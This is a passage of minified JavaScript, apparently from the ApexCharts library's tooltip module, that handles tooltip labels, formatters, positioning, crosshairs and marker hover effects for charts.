0:s[r],{series:c.globals.seriesRangeEnd,seriesIndex:t,dataPointIndex:r,w:c}):v.yLbFormatter(c.globals.series[t][r],{series:c.globals.series,seriesIndex:t,dataPointIndex:r,w:c})};if(l)v=a.getFormatters(m),x=a.getSeriesName({fn:v.yLbTitleFormatter,index:m,seriesIndex:s,j:r}),b=c.globals.colors[m],i=y(m),g(m)&&(d=c.globals.seriesGoals[m][r].map((function(t){return{attrs:t,val:v.yLbFormatter(t.value,{seriesIndex:m,dataPointIndex:r,w:c})}})));else{var w,k=null==h||null===(w=h.target)||void 0===w?void 0:w.getAttribute("fill");k&&(b=-1!==k.indexOf("url")?document.querySelector(k.substr(4).slice(0,-1)).childNodes[0].getAttribute("stroke"):k),i=y(s),g(s)&&Array.isArray(c.globals.seriesGoals[s][r])&&(d=c.globals.seriesGoals[s][r].map((function(t){return{attrs:t,val:v.yLbFormatter(t.value,{seriesIndex:s,dataPointIndex:r,w:c})}})))}}null===r&&(i=v.yLbFormatter(c.globals.series[s],e(e({},c),{},{seriesIndex:s,dataPointIndex:s}))),a.DOMHandling({i:s,t:m,j:r,ttItems:n,values:{val:i,goalVals:d,xVal:u,xAxisTTVal:f,zVal:p},seriesName:x,shared:l,pColor:b})},m=0,y=c.globals.series.length-1;m<c.globals.series.length;m++,y--)v(m,y)}},{key:"getFormatters",value:function(t){var e,i=this.w,a=i.globals.yLabelFormatters[t];return void 0!==i.globals.ttVal?Array.isArray(i.globals.ttVal)?(a=i.globals.ttVal[t]&&i.globals.ttVal[t].formatter,e=i.globals.ttVal[t]&&i.globals.ttVal[t].title&&i.globals.ttVal[t].title.formatter):(a=i.globals.ttVal.formatter,"function"==typeof i.globals.ttVal.title.formatter&&(e=i.globals.ttVal.title.formatter)):e=i.config.tooltip.y.title.formatter,"function"!=typeof a&&(a=i.globals.yLabelFormatters[0]?i.globals.yLabelFormatters[0]:function(t){return t}),"function"!=typeof e&&(e=function(t){return t}),{yLbFormatter:a,yLbTitleFormatter:e}}},{key:"getSeriesName",value:function(t){var e=t.fn,i=t.index,a=t.seriesIndex,s=t.j,r=this.w;return e(String(r.globals.seriesNames[i]),{series:r.globals.series,seriesIndex:a,dataPointIndex:s,w:r})}},{key:"DOMHandling",value:function(t){t.i;var e=t.t,i=t.j,a=t.ttItems,s=t.values,r=t.seriesName,o=t.shared,n=t.pColor,l=this.w,h=this.ttCtx,c=s.val,d=s.goalVals,g=s.xVal,u=s.xAxisTTVal,p=s.zVal,f=null;f=a[e].children,l.config.tooltip.fillSeriesColor&&(a[e].style.backgroundColor=n,f[0].style.display="none"),h.showTooltipTitle&&(null===h.tooltipTitle&&(h.tooltipTitle=l.globals.dom.baseEl.querySelector(".apexcharts-tooltip-title")),h.tooltipTitle.innerHTML=g),h.isXAxisTooltipEnabled&&(h.xaxisTooltipText.innerHTML=""!==u?u:g);var x=a[e].querySelector(".apexcharts-tooltip-text-y-label");x&&(x.innerHTML=r||"");var b=a[e].querySelector(".apexcharts-tooltip-text-y-value");b&&(b.innerHTML=void 0!==c?c:""),f[0]&&f[0].classList.contains("apexcharts-tooltip-marker")&&(l.config.tooltip.marker.fillColors&&Array.isArray(l.config.tooltip.marker.fillColors)&&(n=l.config.tooltip.marker.fillColors[e]),f[0].style.backgroundColor=n),l.config.tooltip.marker.show||(f[0].style.display="none");var v=a[e].querySelector(".apexcharts-tooltip-text-goals-label"),m=a[e].querySelector(".apexcharts-tooltip-text-goals-value");if(d.length&&l.globals.seriesGoals[e]){var y=function(){var t="<div >",e="<div>";d.forEach((function(i,a){t+=' <div style="display: flex"><span class="apexcharts-tooltip-marker" style="background-color: '.concat(i.attrs.strokeColor,'; height: 3px; border-radius: 0; top: 5px;"></span> ').concat(i.attrs.name,"</div>"),e+="<div>".concat(i.val,"</div>")})),v.innerHTML=t+"</div>",m.innerHTML=e+"</div>"};o?l.globals.seriesGoals[e][i]&&Array.isArray(l.globals.seriesGoals[e][i])?y():(v.innerHTML="",m.innerHTML=""):y()}else v.innerHTML="",m.innerHTML="";null!==p&&(a[e].querySelector(".apexcharts-tooltip-text-z-label").innerHTML=l.config.tooltip.z.title,a[e].querySelector(".apexcharts-tooltip-text-z-value").innerHTML=void 0!==p?p:"");o&&f[0]&&(null==c||l.globals.ancillaryCollapsedSeriesIndices.indexOf(e)>-1||l.globals.collapsedSeriesIndices.indexOf(e)>-1?f[0].parentNode.style.display="none":f[0].parentNode.style.display=l.config.tooltip.items.display)}},{key:"toggleActiveInactiveSeries",value:function(t){var e=this.w;if(t)this.tooltipUtil.toggleAllTooltipSeriesGroups("enable");else{this.tooltipUtil.toggleAllTooltipSeriesGroups("disable");var i=e.globals.dom.baseEl.querySelector(".apexcharts-tooltip-series-group");i&&(i.classList.add("apexcharts-active"),i.style.display=e.config.tooltip.items.display)}}},{key:"getValuesToPrint",value:function(t){var e=t.i,i=t.j,a=this.w,s=this.ctx.series.filteredSeriesX(),r="",o="",n=null,l=null,h={series:a.globals.series,seriesIndex:e,dataPointIndex:i,w:a},c=a.globals.ttZFormatter;null===i?l=a.globals.series[e]:a.globals.isXNumeric&&"treemap"!==a.config.chart.type?(r=s[e][i],0===s[e].length&&(r=s[this.tooltipUtil.getFirstActiveXArray(s)][i])):r=void 0!==a.globals.labels[i]?a.globals.labels[i]:"";var d=r;a.globals.isXNumeric&&"datetime"===a.config.xaxis.type?r=new T(this.ctx).xLabelFormat(a.globals.ttKeyFormatter,d,d,{i:void 0,dateFormatter:new I(this.ctx).formatDate,w:this.w}):r=a.globals.isBarHorizontal?a.globals.yLabelFormatters[0](d,h):a.globals.xLabelFormatter(d,h);return void 0!==a.config.tooltip.x.formatter&&(r=a.globals.ttKeyFormatter(d,h)),a.globals.seriesZ.length>0&&a.globals.seriesZ[e].length>0&&(n=c(a.globals.seriesZ[e][i],a)),o="function"==typeof a.config.xaxis.tooltip.formatter?a.globals.xaxisTooltipFormatter(d,h):r,{val:Array.isArray(l)?l.join(" "):l,xVal:Array.isArray(r)?r.join(" "):r,xAxisTTVal:Array.isArray(o)?o.join(" "):o,zVal:n}}},{key:"handleCustomTooltip",value:function(t){var e=t.i,i=t.j,a=t.y1,s=t.y2,r=t.w,o=this.ttCtx.getElTooltip(),n=r.config.tooltip.custom;Array.isArray(n)&&n[e]&&(n=n[e]),o.innerHTML=n({ctx:this.ctx,series:r.globals.series,seriesIndex:e,dataPointIndex:i,y1:a,y2:s,w:r})}}]),t}(),ut=function(){function t(e){a(this,t),this.ttCtx=e,this.ctx=e.ctx,this.w=e.w}return r(t,[{key:"moveXCrosshairs",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=this.ttCtx,a=this.w,s=i.getElXCrosshairs(),r=t-i.xcrosshairsWidth/2,o=a.globals.labels.slice().length;if(null!==e&&(r=a.globals.gridWidth/o*e),null===s||a.globals.isBarHorizontal||(s.setAttribute("x",r),s.setAttribute("x1",r),s.setAttribute("x2",r),s.setAttribute("y2",a.globals.gridHeight),s.classList.add("apexcharts-active")),r<0&&(r=0),r>a.globals.gridWidth&&(r=a.globals.gridWidth),i.isXAxisTooltipEnabled){var n=r;"tickWidth"!==a.config.xaxis.crosshairs.width&&"barWidth"!==a.config.xaxis.crosshairs.width||(n=r+i.xcrosshairsWidth/2),this.moveXAxisTooltip(n)}}},{key:"moveYCrosshairs",value:function(t){var e=this.ttCtx;null!==e.ycrosshairs&&m.setAttrs(e.ycrosshairs,{y1:t,y2:t}),null!==e.ycrosshairsHidden&&m.setAttrs(e.ycrosshairsHidden,{y1:t,y2:t})}},{key:"moveXAxisTooltip",value:function(t){var e=this.w,i=this.ttCtx;if(null!==i.xaxisTooltip&&0!==i.xcrosshairsWidth){i.xaxisTooltip.classList.add("apexcharts-active");var a=i.xaxisOffY+e.config.xaxis.tooltip.offsetY+e.globals.translateY+1+e.config.xaxis.offsetY;if(t-=i.xaxisTooltip.getBoundingClientRect().width/2,!isNaN(t)){t+=e.globals.translateX;var s;s=new m(this.ctx).getTextRects(i.xaxisTooltipText.innerHTML),i.xaxisTooltipText.style.minWidth=s.width+"px",i.xaxisTooltip.style.left=t+"px",i.xaxisTooltip.style.top=a+"px"}}}},{key:"moveYAxisTooltip",value:function(t){var e=this.w,i=this.ttCtx;null===i.yaxisTTEls&&(i.yaxisTTEls=e.globals.dom.baseEl.querySelectorAll(".apexcharts-yaxistooltip"));var a=parseInt(i.ycrosshairsHidden.getAttribute("y1"),10),s=e.globals.translateY+a,r=i.yaxisTTEls[t].getBoundingClientRect().height,o=e.globals.translateYAxisX[t]-2;e.config.yaxis[t].opposite&&(o-=26),s-=r/2,-1===e.globals.ignoreYAxisIndexes.indexOf(t)?(i.yaxisTTEls[t].classList.add("apexcharts-active"),i.yaxisTTEls[t].style.top=s+"px",i.yaxisTTEls[t].style.left=o+e.config.yaxis[t].tooltip.offsetX+"px"):i.yaxisTTEls[t].classList.remove("apexcharts-active")}},{key:"moveTooltip",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,a=this.w,s=this.ttCtx,r=s.getElTooltip(),o=s.tooltipRect,n=null!==i?parseFloat(i):1,l=parseFloat(t)+n+5,h=parseFloat(e)+n/2;if(l>a.globals.gridWidth/2&&(l=l-o.ttWidth-n-10),l>a.globals.gridWidth-o.ttWidth-10&&(l=a.globals.gridWidth-o.ttWidth),l<-20&&(l=-20),a.config.tooltip.followCursor){var c=s.getElGrid().getBoundingClientRect();(l=s.e.clientX-c.left)>a.globals.gridWidth/2&&(l-=s.tooltipRect.ttWidth),(h=s.e.clientY+a.globals.translateY-c.top)>a.globals.gridHeight/2&&(h-=s.tooltipRect.ttHeight)}else a.globals.isBarHorizontal||o.ttHeight/2+h>a.globals.gridHeight&&(h=a.globals.gridHeight-o.ttHeight+a.globals.translateY);isNaN(l)||(l+=a.globals.translateX,r.style.left=l+"px",r.style.top=h+"px")}},{key:"moveMarkers",value:function(t,e){var i=this.w,a=this.ttCtx;if(i.globals.markers.size[t]>0)for(var s=i.globals.dom.baseEl.querySelectorAll(" .apexcharts-series[data\\:realIndex='".concat(t,"'] .apexcharts-marker")),r=0;r<s.length;r++)parseInt(s[r].getAttribute("rel"),10)===e&&(a.marker.resetPointsSize(),a.marker.enlargeCurrentPoint(e,s[r]));else a.marker.resetPointsSize(),this.moveDynamicPointOnHover(e,t)}},{key:"moveDynamicPointOnHover",value:function(t,e){var i,a,s=this.w,r=this.ttCtx,o=s.globals.pointsArray,n=r.tooltipUtil.getHoverMarkerSize(e),l=s.config.series[e].type;if(!l||"column"!==l&&"candlestick"!==l&&"boxPlot"!==l){i=o[e][t][0],a=o[e][t][1]?o[e][t][1]:0;var h=s.globals.dom.baseEl.querySelector(".apexcharts-series[data\\:realIndex='".concat(e,"'] .apexcharts-series-markers circle"));h&&a<s.globals.gridHeight&&a>0&&(h.setAttribute("r",n),h.setAttribute("cx",i),h.setAttribute("cy",a)),this.moveXCrosshairs(i),r.fixedTooltip||this.moveTooltip(i,a,n)}}},{key:"moveDynamicPointsOnHover",value:function(t){var e,i=this.ttCtx,a=i.w,s=0,r=0,o=a.globals.pointsArray;e=new N(this.ctx).getActiveConfigSeriesIndex("asc",["line","area","scatter","bubble"]);var n=i.tooltipUtil.getHoverMarkerSize(e);o[e]&&(s=o[e][t][0],r=o[e][t][1]);var l=i.tooltipUtil.getAllMarkers();if(null!==l)for(var h=0;h<a.globals.series.length;h++){var c=o[h];if(a.globals.comboCharts&&void 0===c&&l.splice(h,0,null),c&&c.length){var d=o[h][t][1],g=void 0;if(l[h].setAttribute("cx",s),"rangeArea"===a.config.chart.type&&!a.globals.comboCharts){var u=t+a.globals.series[h].length;g=o[h][u][1],d-=Math.abs(d-g)/2}null!==d&&!isNaN(d)&&d<a.globals.gridHeight+n&&d+n>0?(l[h]&&l[h].setAttribute("r",n),l[h]&&l[h].setAttribute("cy",d)):l[h]&&l[h].setAttribute("r",0)}}this.moveXCrosshairs(s),i.fixedTooltip||this.moveTooltip(s,r||a.globals.gridHeight,n)}},{key:"moveStickyTooltipOverBars",value:function(t,e){var i=this.w,a=this.ttCtx,s=i.globals.columnSeries?i.globals.columnSeries.length:i.globals.series.length,r=s>=2&&s%2==0?Math.floor(s/2):Math.floor(s/2)+1;i.globals.isBarHorizontal&&(r=new N(this.ctx).getActiveConfigSeriesIndex("desc")+1);var o=i.globals.dom.baseEl.querySelector(".apexcharts-bar-series .apexcharts-series[rel='".concat(r,"'] path[j='").concat(t,"'], .apexcharts-candlestick-series .apexcharts-series[rel='").concat(r,"'] path[j='").concat(t,"'], .apexcharts-boxPlot-series .apexcharts-series[rel='").concat(r,"'] path[j='").concat(t,"'], .apexcharts-rangebar-series .apexcharts-series[rel='").concat(r,"'] path[j='").concat(t,"']"));o||"number"!=typeof e||(o=i.globals.dom.baseEl.querySelector(".apexcharts-bar-series .apexcharts-series[data\\:realIndex='".concat(e,"'] path[j='").concat(t,"'],\n        .apexcharts-candlestick-series .apexcharts-series[data\\:realIndex='").concat(e,"'] path[j='").concat(t,"'],\n        .apexcharts-boxPlot-series .apexcharts-series[data\\:realIndex='").concat(e,"'] path[j='").concat(t,"'],\n        .apexcharts-rangebar-series .apexcharts-series[data\\:realIndex='").concat(e,"'] path[j='").concat(t,"']")));var n=o?parseFloat(o.getAttribute("cx")):0,l=o?parseFloat(o.getAttribute("cy")):0,h=o?parseFloat(o.getAttribute("barWidth")):0,c=a.getElGrid().getBoundingClientRect(),d=o&&(o.classList.contains("apexcharts-candlestick-area")||o.classList.contains("apexcharts-boxPlot-area"));i.globals.isXNumeric?(o&&!d&&(n-=s%2!=0?h/2:0),o&&d&&i.globals.comboCharts&&(n-=h/2)):i.globals.isBarHorizontal||(n=a.xAxisTicksPositions[t-1]+a.dataPointsDividedWidth/2,isNaN(n)&&(n=a.xAxisTicksPositions[t]-a.dataPointsDividedWidth/2)),i.globals.isBarHorizontal?l-=a.tooltipRect.ttHeight:i.config.tooltip.followCursor?l=a.e.clientY-c.top-a.tooltipRect.ttHeight/2:l+a.tooltipRect.ttHeight+15>i.globals.gridHeight&&(l=i.globals.gridHeight),i.globals.isBarHorizontal||this.moveXCrosshairs(n),a.fixedTooltip||this.moveTooltip(n,l||i.globals.gridHeight)}}]),t}(),pt=function(){function t(e){a(this,t),this.w=e.w,this.ttCtx=e,this.ctx=e.ctx,this.tooltipPosition=new ut(e)}return r(t,[{key:"drawDynamicPoints",value:function(){var t=this.w,e=new m(this.ctx),i=new H(this.ctx),a=t.globals.dom.baseEl.querySelectorAll(".apexcharts-series");a=u(a),t.config.chart.stacked&&a.sort((function(t,e){return parseFloat(t.getAttribute("data:realIndex"))-parseFloat(e.getAttribute("data:realIndex"))}));for(var s=0;s<a.length;s++){var r=a[s].querySelector(".apexcharts-series-markers-wrap");if(null!==r){var o=void 0,n="apexcharts-marker w".concat((Math.random()+1).toString(36).substring(4));"line"!==t.config.chart.type&&"area"!==t.config.chart.type||t.globals.comboCharts||t.config.tooltip.intersect||(n+=" no-pointer-events");var l=i.getMarkerConfig({cssClass:n,seriesIndex:Number(r.getAttribute("data:realIndex"))});(o=e.drawMarker(0,0,l)).node.setAttribute("default-marker-size",0);var h=document.createElementNS(t.globals.SVGNS,"g");h.classList.add("apexcharts-series-markers"),h.appendChild(o.node),r.appendChild(h)}}}},{key:"enlargeCurrentPoint",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,s=this.w;"bubble"!==s.config.chart.type&&this.newPointSize(t,e);var r=e.getAttribute("cx"),o=e.getAttribute("cy");if(null!==i&&null!==a&&(r=i,o=a),this.tooltipPosition.moveXCrosshairs(r),!this.fixedTooltip){if("radar"===s.config.chart.type){var n=this.ttCtx.getElGrid().getBoundingClientRect();r=this.ttCtx.e.clientX-n.left}this.tooltipPosition.moveTooltip(r,o,s.config.markers.hover.size)}}},{key:"enlargePoints",value:function(t){for(var e=this.w,i=this,a=this.ttCtx,s=t,r=e.globals.dom.baseEl.querySelectorAll(".apexcharts-series:not(.apexcharts-series-collapsed) .apexcharts-marker"),o=e.config.markers.hover.size,n=0;n<r.length;n++){var l=r[n].getAttribute("rel"),h=r[n].getAttribute("index");if(void 0===o&&(o=e.globals.markers.size[h]+e.config.markers.hover.sizeOffset),s===parseInt(l,10)){i.newPointSize(s,r[n]);var c=r[n].getAttribute("cx"),d=r[n].getAttribute("cy");i.tooltipPosition.moveXCrosshairs(c),a.fixedTooltip||i.tooltipPosition.moveTooltip(c,d,o)}else i.oldPointSize(r[n])}}},{key:"newPointSize",value:function(t,e){var i=this.w,a=i.config.markers.hover.size,s=0===t?e.parentNode.firstChild:e.parentNode.lastChild;if("0"!==s.getAttribute("default-marker-size")){var r=parseInt(s.getAttribute("index"),10);void 0===a&&(a=i.globals.markers.size[r]+i.config.markers.hover.sizeOffset),a<0&&(a=0),s.setAttribute("r",a)}}},{key:"oldPointSize",value:function(t){var e=parseFloat(t.getAttribute("default-marker-size"));t.setAttribute("r",e)}},{key:"resetPointsSize",value:function(){for(var t=this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-series:not(.apexcharts-series-collapsed) .apexcharts-marker"),e=0;e<t.length;e++){var i=parseFloat(t[e].getAttribute("default-marker-size"));x.isNumber(i)&&i>=0?t[e].setAttribute("r",i):t[e].setAttribute("r",0)}}}]),t}(),ft=function(){function t(e){a(this,t),this.w=e.w;var i=this.w;this.ttCtx=e,this.isVerticalGroupedRangeBar=!i.globals.isBarHorizontal&&"rangeBar"===i.config.chart.type&&i.config.plotOptions.bar.rangeBarGroupRows}return r(t,[{key:"getAttr",value:function(t,e){return parseFloat(t.target.getAttribute(e))}},{key:"handleHeatTreeTooltip",value:function(t){var e=t.e,i=t.opt,a=t.x,s=t.y,r=t.type,o=this.ttCtx,n=this.w;if(e.target.classList.contains("apexcharts-".concat(r,"-rect"))){var l=this.getAttr(e,"i"),h=this.getAttr(e,"j"),c=this.getAttr(e,"cx"),d=this.getAttr(e,"cy"),g=this.getAttr(e,"width"),u=this.getAttr(e,"height");if(o.tooltipLabels.drawSeriesTexts({ttItems:i.ttItems,i:l,j:h,shared:!1,e:e}),n.globals.capturedSeriesIndex=l,n.globals.capturedDataPointIndex=h,a=c+o.tooltipRect.ttWidth/2+g,s=d+o.tooltipRect.ttHeight/2-u/2,o.tooltipPosition.moveXCrosshairs(c+g/2),a>n.globals.gridWidth/2&&(a=c-o.tooltipRect.ttWidth/2+g),o.w.config.tooltip.followCursor){var p=n.globals.dom.elWrap.getBoundingClientRect();a=n.globals.clientX-p.left-(a>n.globals.gridWidth/2?o.tooltipRect.ttWidth:0),s=n.globals.clientY-p.top-(s>n.globals.gridHeight/2?o.tooltipRect.ttHeight:0)}}return{x:a,y:s}}},{key:"handleMarkerTooltip",value:function(t){var e,i,a=t.e,s=t.opt,r=t.x,o=t.y,n=this.w,l=this.ttCtx;if(a.target.classList.contains("apexcharts-marker")){var h=parseInt(s.paths.getAttribute("cx"),10),c=parseInt(s.paths.getAttribute("cy"),10),d=parseFloat(s.paths.getAttribute("val"));if(i=parseInt(s.paths.getAttribute("rel"),10),e=parseInt(s.paths.parentNode.parentNode.parentNode.getAttribute("rel"),10)-1,l.intersect){var g=x.findAncestor(s.paths,"apexcharts-series");g&&(e=parseInt(g.getAttribute("data:realIndex"),10))}if(l.tooltipLabels.drawSeriesTexts({ttItems:s.ttItems,i:e,j:i,shared:!l.showOnIntersect&&n.config.tooltip.shared,e:a}),"mouseup"===a.type&&l.markerClick(a,e,i),n.globals.capturedSeriesIndex=e,n.globals.capturedDataPointIndex=i,r=h,o=c+n.globals.translateY-1.4*l.tooltipRect.ttHeight,l.w.config.tooltip.followCursor){var u=l.getElGrid().getBoundingClientRect();o=l.e.clientY+n.globals.translateY-u.top}d<0&&(o=c),l.marker.enlargeCurrentPoint(i,s.paths,r,o)}return{x:r,y:o}}},{key:"handleBarTooltip",value:function(t){var e,i,a=t.e,s=t.opt,r=this.w,o=this.ttCtx,n=o.getElTooltip(),l=0,h=0,c=0,d=this.getBarTooltipXY({e:a,opt:s});e=d.i;var g=d.barHeight,u=d.j;r.globals.capturedSeriesIndex=e,r.globals.capturedDataPointIndex=u,r.globals.isBarHorizontal&&o.tooltipUtil.hasBars()||!r.config.tooltip.shared?(h=d.x,c=d.y,i=Array.isArray(r.config.stroke.width)?r.config.stroke.width[e]:r.config.stroke.width,l=h):r.globals.comboCharts||r.config.tooltip.shared||(l/=2),isNaN(c)&&(c=r.globals.svgHeight-o.tooltipRect.ttHeight);var p=parseInt(s.paths.parentNode.getAttribute("data:realIndex"),10),f=r.globals.isMultipleYAxis?r.config.yaxis[p]&&r.config.yaxis[p].reversed:r.config.yaxis[0].reversed;if(h+o.tooltipRect.ttWidth>r.globals.gridWidth&&!f?h-=o.tooltipRect.ttWidth:h<0&&(h=0),o.w.config.tooltip.followCursor){var x=o.getElGrid().getBoundingClientRect();c=o.e.clientY-x.top}null===o.tooltip&&(o.tooltip=r.globals.dom.baseEl.querySelector(".apexcharts-tooltip")),r.config.tooltip.shared||(r.globals.comboBarCount>0?o.tooltipPosition.moveXCrosshairs(l+i/2):o.tooltipPosition.moveXCrosshairs(l)),!o.fixedTooltip&&(!r.config.tooltip.shared||r.globals.isBarHorizontal&&o.tooltipUtil.hasBars())&&(f&&(h-=o.tooltipRect.ttWidth)<0&&(h=0),!f||r.globals.isBarHorizontal&&o.tooltipUtil.hasBars()||(c=c+g-2*(r.globals.series[e][u]<0?g:0)),c=c+r.globals.translateY-o.tooltipRect.ttHeight/2,n.style.left=h+r.globals.translateX+"px",n.style.top=c+"px")}},{key:"getBarTooltipXY",value:function(t){var e=this,i=t.e,a=t.opt,s=this.w,r=null,o=this.ttCtx,n=0,l=0,h=0,c=0,d=0,g=i.target.classList;if(g.contains("apexcharts-bar-area")||g.contains("apexcharts-candlestick-area")||g.contains("apexcharts-boxPlot-area")||g.contains("apexcharts-rangebar-area")){var u=i.target,p=u.getBoundingClientRect(),f=a.elGrid.getBoundingClientRect(),x=p.height;d=p.height;var b=p.width,v=parseInt(u.getAttribute("cx"),10),m=parseInt(u.getAttribute("cy"),10);c=parseFloat(u.getAttribute("barWidth"));var y="touchmove"===i.type?i.touches[0].clientX:i.clientX;r=parseInt(u.getAttribute("j"),10),n=parseInt(u.parentNode.getAttribute("rel"),10)-1;var w=u.getAttribute("data-range-y1"),k=u.getAttribute("data-range-y2");s.globals.comboCharts&&(n=parseInt(u.parentNode.getAttribute("data:realIndex"),10));var A=function(t){return s.globals.isXNumeric?v-b/2:e.isVerticalGroupedRangeBar?v+b/2:v-o.dataPointsDividedWidth+b/2},S=function(){return m-o.dataPointsDividedHeight+x/2-o.tooltipRect.ttHeight/2};o.tooltipLabels.drawSeriesTexts({ttItems:a.ttItems,i:n,j:r,y1:w?parseInt(w,10):null,y2:k?parseInt(k,10):null,shared:!o.showOnIntersect&&s.config.tooltip.shared,e:i}),s.config.tooltip.followCursor?s.globals.isBarHorizontal?(l=y-f.left+15,h=S()):(l=A(),h=i.clientY-f.top-o.tooltipRect.ttHeight/2-15):s.globals.isBarHorizontal?((l=v)<o.xyRatios.baseLineInvertedY&&(l=v-o.tooltipRect.ttWidth),h=S()):(l=A(),h=m)}return{x:l,y:h,barHeight:d,barWidth:c,i:n,j:r}}}]),t}(),xt=function(){function t(e){a(this,t),this.w=e.w,this.ttCtx=e}return r(t,[{key:"drawXaxisTooltip",value:function(){var t=this.w,e=this.ttCtx,i="bottom"===t.config.xaxis.position;e.xaxisOffY=i?t.globals.gridHeight+1:-t.globals.xAxisHeight-t.config.xaxis.axisTicks.height+3;var a=i?"apexcharts-xaxistooltip apexcharts-xaxistooltip-bottom":"apexcharts-xaxistooltip apexcharts-xaxistooltip-top",s=t.globals.dom.elWrap;e.isXAxisTooltipEnabled&&(null===t.globals.dom.baseEl.querySelector(".apexcharts-xaxistooltip")&&(e.xaxisTooltip=document.createElement("div"),e.xaxisTooltip.setAttribute("class",a+" apexcharts-theme-"+t.config.tooltip.theme),s.appendChild(e.xaxisTooltip),e.xaxisTooltipText=document.createElement("div"),e.xaxisTooltipText.classList.add("apexcharts-xaxistooltip-text"),e.xaxisTooltipText.style.fontFamily=t.config.xaxis.tooltip.style.fontFamily||t.config.chart.fontFamily,e.xaxisTooltipText.style.fontSize=t.config.xaxis.tooltip.style.fontSize,e.xaxisTooltip.appendChild(e.xaxisTooltipText)))}},{key:"drawYaxisTooltip",value:function(){for(var t=this.w,e=this.ttCtx,i=function(i){var a=t.config.yaxis[i].opposite||t.config.yaxis[i].crosshairs.opposite;e.yaxisOffX=a?t.globals.gridWidth+1:1;var s="apexcharts-yaxistooltip apexcharts-yaxistooltip-".concat(i,a?" apexcharts-yaxistooltip-right":" apexcharts-yaxistooltip-left");t.globals.yAxisSameScaleIndices.map((function(e,a){e.map((function(e,a){a===i&&(s+=t.config.yaxis[a].show?" ":" apexcharts-yaxistooltip-hidden")}))}));var r=t.globals.dom.elWrap;null===t.globals.dom.baseEl.querySelector(".apexcharts-yaxistooltip apexcharts-yaxistooltip-".concat(i))&&(e.yaxisTooltip=document.createElement("div"),e.yaxisTooltip.setAttribute("class",s+" apexcharts-theme-"+t.config.tooltip.theme),r.appendChild(e.yaxisTooltip),0===i&&(e.yaxisTooltipText=[]),e.yaxisTooltipText[i]=document.createElement("div"),e.yaxisTooltipText[i].classList.add("apexcharts-yaxistooltip-text"),e.yaxisTooltip.appendChild(e.yaxisTooltipText[i]))},a=0;a<t.config.yaxis.length;a++)i(a)}},{key:"setXCrosshairWidth",value:function(){var t=this.w,e=this.ttCtx,i=e.getElXCrosshairs();if(e.xcrosshairsWidth=parseInt(t.config.xaxis.crosshairs.width,10),t.globals.comboCharts){var a=t.globals.dom.baseEl.querySelector(".apexcharts-bar-area");if(null!==a&&"barWidth"===t.config.xaxis.crosshairs.width){var s=parseFloat(a.getAttribute("barWidth"));e.xcrosshairsWidth=s}else if("tickWidth"===t.config.xaxis.crosshairs.width){var r=t.globals.labels.length;e.xcrosshairsWidth=t.globals.gridWidth/r}}else if("tickWidth"===t.config.xaxis.crosshairs.width){var o=t.globals.labels.length;e.xcrosshairsWidth=t.globals.gridWidth/o}else if("barWidth"===t.config.xaxis.crosshairs.width){var n=t.globals.dom.baseEl.querySelector(".apexcharts-bar-area");if(null!==n){var l=parseFloat(n.getAttribute("barWidth"));e.xcrosshairsWidth=l}else e.xcrosshairsWidth=1}t.globals.isBarHorizontal&&(e.xcrosshairsWidth=0),null!==i&&e.xcrosshairsWidth>0&&i.setAttribute("width",e.xcrosshairsWidth)}},{key:"handleYCrosshair",value:function(){var t=this.w,e=this.ttCtx;e.ycrosshairs=t.globals.dom.baseEl.querySelector(".apexcharts-ycrosshairs"),e.ycrosshairsHidden=t.globals.dom.baseEl.querySelector(".apexcharts-ycrosshairs-hidden")}},{key:"drawYaxisTooltipText",value:function(t,e,i){var a=this.ttCtx,s=this.w,r=s.globals.yLabelFormatters[t];if(a.yaxisTooltips[t]){var o=a.getElGrid().getBoundingClientRect(),n=(e-o.top)*i.yRatio[t],l=s.globals.maxYArr[t]-s.globals.minYArr[t],h=s.globals.minYArr[t]+(l-n);a.tooltipPosition.moveYCrosshairs(e-o.top),a.yaxisTooltipText[t].innerHTML=r(h),a.tooltipPosition.moveYAxisTooltip(t)}}}]),t}(),bt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w;var i=this.w;this.tConfig=i.config.tooltip,this.tooltipUtil=new dt(this),this.tooltipLabels=new gt(this),this.tooltipPosition=new ut(this),this.marker=new pt(this),this.intersect=new ft(this),this.axesTooltip=new xt(this),this.showOnIntersect=this.tConfig.intersect,this.showTooltipTitle=this.tConfig.x.show,this.fixedTooltip=this.tConfig.fixed.enabled,this.xaxisTooltip=null,this.yaxisTTEls=null,this.isBarShared=!i.globals.isBarHorizontal&&this.tConfig.shared,this.lastHoverTime=Date.now()}return r(t,[{key:"getElTooltip",value:function(t){return t||(t=this),t.w.globals.dom.baseEl?t.w.globals.dom.baseEl.querySelector(".apexcharts-tooltip"):null}},{key:"getElXCrosshairs",value:function(){return this.w.globals.dom.baseEl.querySelector(".apexcharts-xcrosshairs")}},{key:"getElGrid",value:function(){return this.w.globals.dom.baseEl.querySelector(".apexcharts-grid")}},{key:"drawTooltip",value:function(t){var e=this.w;this.xyRatios=t,this.isXAxisTooltipEnabled=e.config.xaxis.tooltip.enabled&&e.globals.axisCharts,this.yaxisTooltips=e.config.yaxis.map((function(t,i){return!!(t.show&&t.tooltip.enabled&&e.globals.axisCharts)})),this.allTooltipSeriesGroups=[],e.globals.axisCharts||(this.showTooltipTitle=!1);var i=document.createElement("div");if(i.classList.add("apexcharts-tooltip"),e.config.tooltip.cssClass&&i.classList.add(e.config.tooltip.cssClass),i.classList.add("apexcharts-theme-".concat(this.tConfig.theme)),e.globals.dom.elWrap.appendChild(i),e.globals.axisCharts){this.axesTooltip.drawXaxisTooltip(),this.axesTooltip.drawYaxisTooltip(),this.axesTooltip.setXCrosshairWidth(),this.axesTooltip.handleYCrosshair();var a=new 